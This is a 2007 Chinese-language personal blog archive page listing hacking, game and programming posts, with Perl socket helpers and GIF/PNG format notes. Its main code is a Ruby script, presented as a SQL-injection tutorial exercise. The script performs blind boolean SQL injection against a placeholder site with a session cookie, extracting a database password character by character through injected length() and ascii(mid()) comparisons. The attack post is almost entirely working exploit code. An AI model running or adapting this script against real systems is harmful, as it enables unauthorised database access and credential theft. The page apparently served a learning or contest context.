MashiMaro's Blog: 12月 2007

2007年12月24日星期一

[+/-] : [LittleGame] 塔防

張貼者： MashiMaro 於星期一, 12月 24, 2007 0 意見

2007年12月18日星期二

[+/-] : Windows 資料夾權限加密解除辦法

張貼者： MashiMaro 於星期二, 12月 18, 2007 2 意見

[+/-] : [Diary] 我和白痴妹

張貼者： MashiMaro 於星期二, 12月 18, 2007 0 意見

2007年12月17日星期一

[+/-] : [Diary] 天阿!!! 居然抽到Wii !!!

張貼者： MashiMaro 於星期一, 12月 17, 2007 0 意見

2007年12月16日星期日

[+/-] : [LittleGame] 有難度的塔防

張貼者： MashiMaro 於星期日, 12月 16, 2007 0 意見

2007年12月14日星期五

[+/-] : [Ruby] MySQL Brute Force Attack & [教學]Exploit 21: "SQL-Injection 2"

張貼者： MashiMaro 於星期五, 12月 14, 2007 0 意見


# Author      : mashimaro
# Last Modify : 2007/12/11

require 'net/http'
require 'net/https'

host = 'www.host_url.com'
path = '/exploits_path/index2.php?login=user'
cookie = 'PHPSESSID=***********************'

http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
 'Cookie' => cookie,
#  'Referer' => 'http://profil.wp.pl/login.html',
#  'Content-Type' => 'application/x-www-form-urlencoded'
}

cmd = 'password';
appear_str = 'Steven Baker';

len = 0;

if(len > 0)
print 'len = ' + len.to_s;
else
len = 1;
print 'len = 1';
# Step 1. 判斷回傳長度
while(1)
 resp, data = http.get(path + '\'%20and%20length(' + cmd + ')>=' + (len + 1).to_s + '--\'', 

headers)
 break if(!data.index(appear_str));
 print 8.chr * len.to_s.length;
 len = len + 1;
 print len.to_s;
end
end


puts '';
i = 1;
print 'str = ';

# Step 2. 找出字串
while(i <= len)  print 80.chr;  resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=80--\'', 

headers);
if(data.index(appear_str))
 min = 80;
 max = 127;
else
 min = 32;
 max = 79;
end

while(min != max)
 mid = ((min + max + 1) / 2).to_i;
 print 8.chr;
 print mid.chr;
 str = '  [' + min.to_s + ' ' + mid.to_s + ' ' + max.to_s + ']';
 print str;
 resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=' +

mid.to_s + '--\'',  headers);
 if(data.index(appear_str))
   min = mid;
 else
  max = mid - 1;
end
 if(min > max)
  puts 'error: min > max';
  exit(0);
 end
 print (8.chr) * str.length + ' ' * str.length + (8.chr) * str.length;
end

print 8.chr + min.chr;

i = i + 1;
end

puts "\r\n\r\n" + 'sql brute force search done!!';

2007年12月13日星期四

[+/-] : 2007 第二屆全國大專院校資安技能金盾獎競賽

張貼者： MashiMaro 於星期四, 12月 13, 2007 0 意見

2007年12月10日星期一

[+/-] : [Perl] 開讀檔

張貼者： MashiMaro 於星期一, 12月 10, 2007 0 意見


open(FILE, 'directories.txt');

foreach $line () {

 # 刪除\r\n
 chop $line;
}

[+/-] : [Hacker] RainbowCrack

張貼者： MashiMaro 於星期一, 12月 10, 2007 1 意見

[+/-] : [Hacker] SHTML - SSI 技術

張貼者： MashiMaro 於星期一, 12月 10, 2007 0 意見

2007年12月8日星期六

[+/-] : [Hacker] 常用脫殼工具

張貼者： MashiMaro 於星期六, 12月 08, 2007 0 意見

[+/-] : [JavaScript] 從瀏覽器網址列直接設定

張貼者： MashiMaro 於星期六, 12月 08, 2007 0 意見

2007年12月4日星期二

[+/-] : [免費軟體][Windows] TFTP

張貼者： MashiMaro 於星期二, 12月 04, 2007 0 意見

2007年12月3日星期一

[+/-] : [Perl] postHTMLsock

張貼者： MashiMaro 於星期一, 12月 03, 2007 0 意見


# 使用 IO::Socket 模組
use IO::Socket;

# 用法 postHTMLsock(URL, post_data, other_request)
# ex.  postHTMLsock("http://www.google.com", "view=Help", "Cookie: this-is-cookie\r\n");
sub postHTMLsock
{
$url = $_[0];
$post_data = $_[1];
$other_req = $_[2];

if($url && $post_data) {

# 比對網頁位址是否合乎格式？
($host, $file) = $url =~ m!http://([^/]+)(/[^\#]*)!;

# 若比對正確，才抓取
if ($host) {

# 產生一個 IO::Socket::INET 物件
$socket = IO::Socket::INET->new(
 PeerAddr => $host,  # 指定主機位址
 PeerPort => 'http(80)'  # 指定 port 號
);

# 針對 $socket 寫入，此動作形同對 $host 主機提出網頁檔 $file 的要求
print $socket "POST $file HTTP/1.1\r\n";
if($other_req) {
 print $socket "$other_req";
}
print $socket "Host: $host\r\n\r\n";
print $socket $post_data;
$socket;
}
else {NULL;}
}
else {NULL;}
}

[+/-] : [Perl] getHTMLsock

張貼者： MashiMaro 於星期一, 12月 03, 2007 0 意見


# 使用 IO::Socket 模組
use IO::Socket;

# 用法 getHTMLsock(URL, other_request)
# ex.  getHTMLsock("http://www.google.com", "Cookie: this-is-cookie\r\n");
sub getHTMLsock
{
$url = $_[0];
$other_req = $_[1];

if($url) {

# 比對網頁位址是否合乎格式？
($host, $file) = $url =~ m!http://([^/]+)(/[^\#]*)!;

# 若比對正確，才抓取
if ($host) {

 # 產生一個 IO::Socket::INET 物件
 $socket = IO::Socket::INET->new(
  PeerAddr => $host,  # 指定主機位址
  PeerPort => 'http(80)'  # 指定 port 號
 );

 # 針對 $socket 寫入，此動作形同對 $host 主機提出網頁檔 $file 的要求
 print $socket "GET $file HTTP/1.1\r\n";
 if($other_req) {
  print $socket "$other_req";
 }
 print $socket "Host: $host\r\n\r\n";
 $socket;
}
else {NULL;}
}
else {NULL;}
}

[+/-] : [Format]GIF

張貼者： MashiMaro 於星期一, 12月 03, 2007 0 意見

參考


[       6 bytes        ]
 47  49  46  38  39(37)  61
 "G   I   F   8   9(7)    a"
[2 bytes][2 bytes][  3 bytes  ]
  width   height     setting
[               n bytes Global Color Table           ...]
  Global Color Table

[                         BLOCKS                        ]
 BLOCKS(偷懶:$)

[1 bytes]
 3B
 3B

[+/-] : [Format]PNG

張貼者： MashiMaro 於星期一, 12月 03, 2007 0 意見


[           8 bytes            ]
 89  50  4D  47  0D  0A  1A  0A
 89  "P   N   G  \r  \n  空  \n"
[   4 bytes    ][   4 bytes    ]
 00  00  00  0D  49  48  44  52
 00  00  00  0D  "I   H   D   R"
[   4 bytes    ][   4 bytes    ][     5 bytes      ]
      width          height     bitDepth/colorType/compressionMethod/filterMethod/interlaceMethod

{                                  
[   4 bytes    ][   4 bytes    ]
  data length     chunk type
[                 n bytes chunk data                 ...]
  chunk data
[   4 bytes    ]
 CRC for chunk data
}*

[   4 bytes    ][   4 bytes    ][   4 bytes    ]
 00  00  00  00  49  45  4E  44  AE  42  60  82
 00  00  00  00  "I   E   N   D" AE  42  60  82

訂閱：文章 (Atom)

MashiMaro's Blog

Archives

BloggerAds

WHO'S

About Me

2007年12月24日星期一

[+/-] : [LittleGame] 塔防

2007年12月18日星期二

[+/-] : Windows 資料夾權限加密解除辦法

[+/-] : [Diary] 我和白痴妹

2007年12月17日星期一

[+/-] : [Diary] 天阿!!! 居然抽到Wii !!!

2007年12月16日星期日

[+/-] : [LittleGame] 有難度的塔防

2007年12月14日星期五

[+/-] : [Ruby] MySQL Brute Force Attack & [教學]Exploit 21: "SQL-Injection 2"

2007年12月13日星期四

[+/-] : 2007 第二屆全國大專院校資安技能金盾獎競賽

2007年12月10日星期一

[+/-] : [Perl] 開讀檔

[+/-] : [Hacker] RainbowCrack

[+/-] : [Hacker] SHTML - SSI 技術

2007年12月8日星期六

[+/-] : [Hacker] 常用脫殼工具

[+/-] : [JavaScript] 從瀏覽器網址列直接設定

2007年12月4日星期二

[+/-] : [免費軟體][Windows] TFTP

2007年12月3日星期一

[+/-] : [Perl] postHTMLsock

[+/-] : [Perl] getHTMLsock

[+/-] : [Format]GIF

[+/-] : [Format]PNG

Labels

Google Search

常逛的網誌

MashiMaro's Blog

Archives

BloggerAds

WHO'S

About Me

2007年12月24日 星期一

[+/-] : [LittleGame] 塔防

2007年12月18日 星期二

[+/-] : Windows 資料夾權限加密解除辦法

[+/-] : [Diary] 我和白痴妹

2007年12月17日 星期一

[+/-] : [Diary] 天阿!!! 居然抽到Wii !!!

2007年12月16日 星期日

[+/-] : [LittleGame] 有難度的塔防

2007年12月14日 星期五

[+/-] : [Ruby] MySQL Brute Force Attack & [教學]Exploit 21: "SQL-Injection 2"

2007年12月13日 星期四

[+/-] : 2007 第二屆 全國大專院校 資安技能金盾獎競賽

2007年12月10日 星期一

[+/-] : [Perl] 開讀檔

[+/-] : [Hacker] RainbowCrack

[+/-] : [Hacker] SHTML - SSI 技術

2007年12月8日 星期六

[+/-] : [Hacker] 常用脫殼工具

[+/-] : [JavaScript] 從瀏覽器網址列直接設定

2007年12月4日 星期二

[+/-] : [免費軟體][Windows] TFTP

2007年12月3日 星期一

[+/-] : [Perl] postHTMLsock

[+/-] : [Perl] getHTMLsock

[+/-] : [Format]GIF

[+/-] : [Format]PNG

Labels

Google Search

常逛的網誌

2007年12月24日星期一

2007年12月18日星期二

2007年12月17日星期一

2007年12月16日星期日

2007年12月14日星期五

2007年12月13日星期四

[+/-] : 2007 第二屆全國大專院校資安技能金盾獎競賽

2007年12月10日星期一

2007年12月8日星期六

2007年12月4日星期二

2007年12月3日星期一